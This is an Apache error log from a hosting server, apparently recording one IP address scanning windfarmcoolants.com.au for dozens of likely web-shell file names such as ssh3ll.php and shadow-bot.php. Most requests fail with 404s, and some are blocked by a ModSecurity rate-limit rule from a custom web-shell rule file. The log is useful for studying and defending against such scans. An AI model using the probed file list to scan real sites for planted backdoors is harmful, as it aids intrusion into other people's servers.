[Mon Apr 13 14:25:55.105808 2026] [:error] [pid 63406:tid 63419] [client 4.210.65.73:33948] File does not exist: /usr/local/apache/htdocs/suspended-page/xl9.php
[Mon Apr 13 14:25:55.378893 2026] [:error] [pid 63406:tid 63427] [client 4.210.65.73:33948] File does not exist: /usr/local/apache/htdocs/suspended-page/asd67.php
[Mon Apr 13 14:25:55.647915 2026] [:error] [pid 63406:tid 63424] [client 4.210.65.73:33948] File does not exist: /usr/local/apache/htdocs/suspended-page/ccu.php
[Mon Apr 13 14:25:55.926045 2026] [:error] [pid 63406:tid 63418] [client 4.210.65.73:33948] File does not exist: /usr/local/apache/htdocs/suspended-page/class-wp-image.php
[Mon Apr 13 14:25:56.181348 2026] [:error] [pid 63406:tid 63417] [client 4.210.65.73:33948] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-4sd6kt.php"] [unique_id "adyMdLHZEIkQ0Zmgp5qsyAAAAMY"]
[Mon Apr 13 14:27:06.875714 2026] [:error] [pid 57183:tid 57192] [client 4.210.65.73:19018] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-Blogs.php
[Mon Apr 13 14:27:07.153045 2026] [:error] [pid 57183:tid 57190] [client 4.210.65.73:19018] File does not exist: /usr/local/apache/htdocs/suspended-page/disagrsxr.php
[Mon Apr 13 14:27:07.431392 2026] [:error] [pid 57183:tid 57204] [client 4.210.65.73:19018] File does not exist: /usr/local/apache/htdocs/suspended-page/torsa1.php
[Mon Apr 13 14:27:07.708909 2026] [:error] [pid 57183:tid 57205] [client 4.210.65.73:19018] File does not exist: /usr/local/apache/htdocs/suspended-page/x7W.php
[Mon Apr 13 14:27:07.957750 2026] [:error] [pid 57183:tid 57197] [client 4.210.65.73:19018] File does not exist: /usr/local/apache/htdocs/suspended-page/w.php
[Mon Apr 13 14:27:08.207335 2026] [:error] [pid 57183:tid 57192] [client 4.210.65.73:19018] File does not exist: /usr/local/apache/htdocs/suspended-page/Jcrop.php
[Mon Apr 13 14:27:08.504499 2026] [:error] [pid 57183:tid 57190] [client 4.210.65.73:19018] File does not exist: /usr/local/apache/htdocs/suspended-page/ws88.php
[Mon Apr 13 14:27:08.773210 2026] [:error] [pid 57183:tid 57201] [client 4.210.65.73:19018] File does not exist: /usr/local/apache/htdocs/suspended-page/themes4.php
[Mon Apr 13 14:27:09.021471 2026] [:error] [pid 57183:tid 57199] [client 4.210.65.73:19018] File does not exist: /usr/local/apache/htdocs/suspended-page/wsc.php
[Mon Apr 13 14:27:09.311394 2026] [:error] [pid 57183:tid 57191] [client 4.210.65.73:19018] File does not exist: /usr/local/apache/htdocs/suspended-page/error_log.php
[Mon Apr 13 14:27:09.560282 2026] [:error] [pid 57183:tid 57205] [client 4.210.65.73:19018] File does not exist: /usr/local/apache/htdocs/suspended-page/zeal.php
[Mon Apr 13 14:27:09.844097 2026] [:error] [pid 57183:tid 57200] [client 4.210.65.73:19018] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bless5.php"] [unique_id "adyMvTDO3t8R5NaxzYRupAAAAU8"]
[Mon Apr 13 14:27:24.014151 2026] [:error] [pid 7228:tid 7237] [client 4.210.65.73:14837] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bless5.php"] [unique_id "adyMzAEnn1dQrOSHHNUDoQAAAQc"]
[Mon Apr 13 14:28:02.676436 2026] [:error] [pid 7228:tid 7237] [client 4.210.65.73:31336] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d.php"] [unique_id "adyM8gEnn1dQrOSHHNUD6QAAAQc"]
[Mon Apr 13 14:28:04.797998 2026] [:error] [pid 63406:tid 63411] [client 4.210.65.73:44159] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d.php"] [unique_id "adyM9LHZEIkQ0Zmgp5qt-gAAAMA"]
[Mon Apr 13 14:28:07.134348 2026] [:error] [pid 57183:tid 57189] [client 4.210.65.73:30289] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d.php"] [unique_id "adyM9zDO3t8R5NaxzYRvQwAAAUQ"]
[Mon Apr 13 14:28:09.983178 2026] [:error] [pid 63311:tid 63390] [client 4.210.65.73:10746] File does not exist: /usr/local/apache/htdocs/suspended-page/d.php
[Mon Apr 13 14:28:10.234994 2026] [:error] [pid 63311:tid 63387] [client 4.210.65.73:10746] File does not exist: /usr/local/apache/htdocs/suspended-page/database.php
[Mon Apr 13 14:28:10.488724 2026] [:error] [pid 63311:tid 63378] [client 4.210.65.73:10746] File does not exist: /usr/local/apache/htdocs/suspended-page/zxcs.php
[Mon Apr 13 14:28:11.022499 2026] [:error] [pid 63311:tid 63385] [client 4.210.65.73:10746] File does not exist: /usr/local/apache/htdocs/suspended-page/rea889y.php
[Mon Apr 13 14:28:11.288955 2026] [:error] [pid 63311:tid 63384] [client 4.210.65.73:10746] File does not exist: /usr/local/apache/htdocs/suspended-page/100.php
[Mon Apr 13 14:28:11.781407 2026] [:error] [pid 63311:tid 63395] [client 4.210.65.73:10746] File does not exist: /usr/local/apache/htdocs/suspended-page/prosell2.php
[Mon Apr 13 14:28:12.049297 2026] [:error] [pid 63311:tid 63394] [client 4.210.65.73:10746] File does not exist: /usr/local/apache/htdocs/suspended-page/22name.php
[Mon Apr 13 14:28:12.548964 2026] [:error] [pid 63311:tid 63388] [client 4.210.65.73:10746] File does not exist: /usr/local/apache/htdocs/suspended-page/fs9.php
[Mon Apr 13 14:28:13.194855 2026] [:error] [pid 63311:tid 63393] [client 4.210.65.73:10746] File does not exist: /usr/local/apache/htdocs/suspended-page/wp1.php
[Mon Apr 13 14:28:13.473847 2026] [:error] [pid 63311:tid 63371] [client 4.210.65.73:10746] File does not exist: /usr/local/apache/htdocs/suspended-page/f2.php
[Mon Apr 13 14:28:13.798951 2026] [:error] [pid 63311:tid 63376] [client 4.210.65.73:10746] File does not exist: /usr/local/apache/htdocs/suspended-page/ftde.php
[Mon Apr 13 14:28:14.308450 2026] [:error] [pid 63311:tid 63386] [client 4.210.65.73:10746] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shadow-bot.php"] [unique_id "adyM_qHjrGN1MqBCVFmkowAAAI8"]
[Mon Apr 13 14:28:16.704800 2026] [:error] [pid 57183:tid 57191] [client 4.210.65.73:44134] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shadow-bot.php"] [unique_id "adyNADDO3t8R5NaxzYRvWAAAAUY"]
[Mon Apr 13 14:28:18.002791 2026] [:error] [pid 63406:tid 63434] [client 4.210.65.73:27321] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shadow-bot.php"] [unique_id "adyNArHZEIkQ0Zmgp5quHwAAANc"]
[Mon Apr 13 14:28:19.453668 2026] [:error] [pid 7228:tid 7247] [client 4.210.65.73:44410] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shadow-bot.php"] [unique_id "adyNAwEnn1dQrOSHHNUEDQAAARE"]
[Mon Apr 13 14:28:22.862027 2026] [:error] [pid 7228:tid 7233] [client 4.210.65.73:20335] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ianmg.php"] [unique_id "adyNBgEnn1dQrOSHHNUEIwAAAQM"]
[Mon Apr 13 14:28:23.879635 2026] [:error] [pid 7228:tid 7252] [client 4.210.65.73:44352] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ianmg.php"] [unique_id "adyNBwEnn1dQrOSHHNUEKwAAARY"]
[Mon Apr 13 14:28:24.954424 2026] [:error] [pid 7228:tid 7233] [client 4.210.65.73:20570] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ianmg.php"] [unique_id "adyNCAEnn1dQrOSHHNUEMwAAAQM"]
[Mon Apr 13 14:28:25.981788 2026] [:error] [pid 7228:tid 7250] [client 4.210.65.73:1561] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ianmg.php"] [unique_id "adyNCQEnn1dQrOSHHNUEPAAAARQ"]
[Mon Apr 13 14:28:26.855580 2026] [:error] [pid 7228:tid 7243] [client 4.210.65.73:10344] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/333.php"] [unique_id "adyNCgEnn1dQrOSHHNUESgAAAQ0"]
[Mon Apr 13 14:28:28.497870 2026] [:error] [pid 7228:tid 7239] [client 4.210.65.73:31781] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/333.php"] [unique_id "adyNDAEnn1dQrOSHHNUEUAAAAQk"]
[Mon Apr 13 14:28:29.707440 2026] [:error] [pid 7228:tid 7250] [client 4.210.65.73:1559] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/333.php"] [unique_id "adyNDQEnn1dQrOSHHNUEWwAAARQ"]
[Mon Apr 13 14:28:31.665564 2026] [:error] [pid 57183:tid 57190] [client 4.210.65.73:14138] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/333.php"] [unique_id "adyNDzDO3t8R5NaxzYRvggAAAUU"]
[Mon Apr 13 14:28:33.717389 2026] [:error] [pid 63311:tid 63384] [client 4.210.65.73:20586] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ssh3ll.php"] [unique_id "adyNEaHjrGN1MqBCVFmkrwAAAI0"]
[Mon Apr 13 14:28:35.060549 2026] [:error] [pid 63310:tid 63363] [client 4.210.65.73:14134] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ssh3ll.php"] [unique_id "adyNE3oXpRU5ztmwPjIO3gAAAFM"]
[Mon Apr 13 14:28:36.167518 2026] [:error] [pid 7228:tid 7233] [client 4.210.65.73:37629] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ssh3ll.php"] [unique_id "adyNFAEnn1dQrOSHHNUEggAAAQM"]
[Mon Apr 13 14:28:37.518207 2026] [:error] [pid 63310:tid 63360] [client 4.210.65.73:19765] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ssh3ll.php"] [unique_id "adyNFXoXpRU5ztmwPjIO4gAAAFA"]
[Mon Apr 13 14:28:39.018479 2026] [:error] [pid 63309:tid 63319] [client 4.210.65.73:1593] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/itil.php"] [unique_id "adyNF0pIKZ10weXpf0XnbwAAAAY"]
[Mon Apr 13 14:28:40.164563 2026] [:error] [pid 7228:tid 7237] [client 4.210.65.73:25820] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/itil.php"] [unique_id "adyNGAEnn1dQrOSHHNUEiwAAAQc"]
[Mon Apr 13 14:28:41.043841 2026] [:error] [pid 57183:tid 57201] [client 4.210.65.73:14578] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/itil.php"] [unique_id "adyNGTDO3t8R5NaxzYRvnQAAAVA"]
[Mon Apr 13 14:28:42.227146 2026] [:error] [pid 63309:tid 63317] [client 4.210.65.73:24790] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/itil.php"] [unique_id "adyNGkpIKZ10weXpf0XndQAAAAQ"]
[Mon Apr 13 14:28:44.094571 2026] [:error] [pid 63309:tid 63335] [client 4.210.65.73:24797] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/snus.php"] [unique_id "adyNHEpIKZ10weXpf0XnewAAABY"]
[Mon Apr 13 14:28:46.181175 2026] [:error] [pid 57183:tid 57204] [client 4.210.65.73:1819] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/snus.php"] [unique_id "adyNHjDO3t8R5NaxzYRvqQAAAVM"]
[Mon Apr 13 14:28:48.210432 2026] [:error] [pid 63310:tid 63359] [client 4.210.65.73:37667] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/snus.php"] [unique_id "adyNIHoXpRU5ztmwPjIO_gAAAE8"]
[Mon Apr 13 14:28:50.626027 2026] [:error] [pid 63310:tid 63349] [client 4.210.65.73:21526] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/snus.php"] [unique_id "adyNInoXpRU5ztmwPjIPCgAAAEU"]
[Mon Apr 13 14:28:54.999876 2026] [:error] [pid 7228:tid 7234] [client 4.210.65.73:28747] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shlo.php"] [unique_id "adyNJgEnn1dQrOSHHNUElgAAAQQ"]
[Mon Apr 13 14:28:57.872829 2026] [:error] [pid 7228:tid 7248] [client 4.210.65.73:22642] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shlo.php"] [unique_id "adyNKQEnn1dQrOSHHNUEnQAAARI"]
[Mon Apr 13 14:29:01.261597 2026] [:error] [pid 63406:tid 63419] [client 4.210.65.73:12211] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shlo.php"] [unique_id "adyNLbHZEIkQ0Zmgp5quggAAAMg"]
[Mon Apr 13 14:29:03.950305 2026] [:error] [pid 63311:tid 63391] [client 4.210.65.73:37071] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shlo.php"] [unique_id "adyNL6HjrGN1MqBCVFmk0gAAAJQ"]
[Mon Apr 13 14:29:04.812992 2026] [:error] [pid 57183:tid 57203] [client 4.210.65.73:23660] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mas80.php"] [unique_id "adyNMDDO3t8R5NaxzYRv5QAAAVI"]
[Mon Apr 13 14:29:06.709225 2026] [:error] [pid 57183:tid 57188] [client 4.210.65.73:12203] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mas80.php"] [unique_id "adyNMjDO3t8R5NaxzYRv6wAAAUM"]
[Mon Apr 13 14:29:11.064120 2026] [:error] [pid 57183:tid 57194] [client 4.210.65.73:28766] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mas80.php"] [unique_id "adyNNzDO3t8R5NaxzYRwAgAAAUk"]
[Mon Apr 13 14:29:15.871105 2026] [:error] [pid 63309:tid 63336] [client 4.210.65.73:26113] File does not exist: /usr/local/apache/htdocs/suspended-page/mas80.php
[Mon Apr 13 14:29:16.141265 2026] [:error] [pid 63309:tid 63327] [client 4.210.65.73:26113] File does not exist: /usr/local/apache/htdocs/suspended-page/torsa.php
[Mon Apr 13 14:29:16.413656 2026] [:error] [pid 63309:tid 63314] [client 4.210.65.73:26113] File does not exist: /usr/local/apache/htdocs/suspended-page/cilus.php
[Mon Apr 13 14:29:16.696822 2026] [:error] [pid 63309:tid 63318] [client 4.210.65.73:26113] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-upload.php
[Mon Apr 13 14:29:16.968428 2026] [:error] [pid 63309:tid 63328] [client 4.210.65.73:26113] File does not exist: /usr/local/apache/htdocs/suspended-page/fcnlp.php
[Mon Apr 13 14:29:17.249464 2026] [:error] [pid 63309:tid 63317] [client 4.210.65.73:26113] File does not exist: /usr/local/apache/htdocs/suspended-page/xxc.php
[Mon Apr 13 14:29:17.520584 2026] [:error] [pid 63309:tid 63330] [client 4.210.65.73:26113] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-su.php
[Mon Apr 13 14:29:17.834886 2026] [:error] [pid 63309:tid 63333] [client 4.210.65.73:26113] File does not exist: /usr/local/apache/htdocs/suspended-page/ZSLeDE.php
[Mon Apr 13 14:29:18.108838 2026] [:error] [pid 63309:tid 63331] [client 4.210.65.73:26113] File does not exist: /usr/local/apache/htdocs/suspended-page/sadcut1.php
[Mon Apr 13 14:29:18.661043 2026] [:error] [pid 63309:tid 63334] [client 4.210.65.73:26113] File does not exist: /usr/local/apache/htdocs/suspended-page/bngv.php
[Mon Apr 13 14:29:18.930465 2026] [:error] [pid 63309:tid 63335] [client 4.210.65.73:26113] File does not exist: /usr/local/apache/htdocs/suspended-page/admin-filters.php
[Mon Apr 13 14:29:23.641294 2026] [:error] [pid 63309:tid 63327] [client 4.210.65.73:26113] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xy.php"] [unique_id "adyNQ0pIKZ10weXpf0XnqAAAAA4"]
[Mon Apr 13 14:29:24.780506 2026] [:error] [pid 7228:tid 7253] [client 4.210.65.73:26134] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xy.php"] [unique_id "adyNRAEnn1dQrOSHHNUEzAAAARc"]
[Mon Apr 13 14:29:37.964204 2026] [:error] [pid 7228:tid 7236] [client 4.210.65.73:21893] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xy.php"] [unique_id "adyNUQEnn1dQrOSHHNUFFgAAAQY"]
[Mon Apr 13 14:29:43.359800 2026] [:error] [pid 57183:tid 57188] [client 4.210.65.73:14572] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gm.php"] [unique_id "adyNVzDO3t8R5NaxzYRwfwAAAUM"]
[Mon Apr 13 14:29:51.981292 2026] [:error] [pid 63309:tid 63323] [client 4.210.65.73:27757] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gm.php"] [unique_id "adyNX0pIKZ10weXpf0XnrQAAAAo"]
[Mon Apr 13 14:29:56.170086 2026] [:error] [pid 7228:tid 7249] [client 4.210.65.73:27746] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gm.php"] [unique_id "adyNZAEnn1dQrOSHHNUFQwAAARM"]
[Mon Apr 13 14:30:15.397382 2026] [:error] [pid 7228:tid 7236] [client 4.210.65.73:18622] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kiwkiw.php"] [unique_id "adyNdwEnn1dQrOSHHNUFcQAAAQY"]
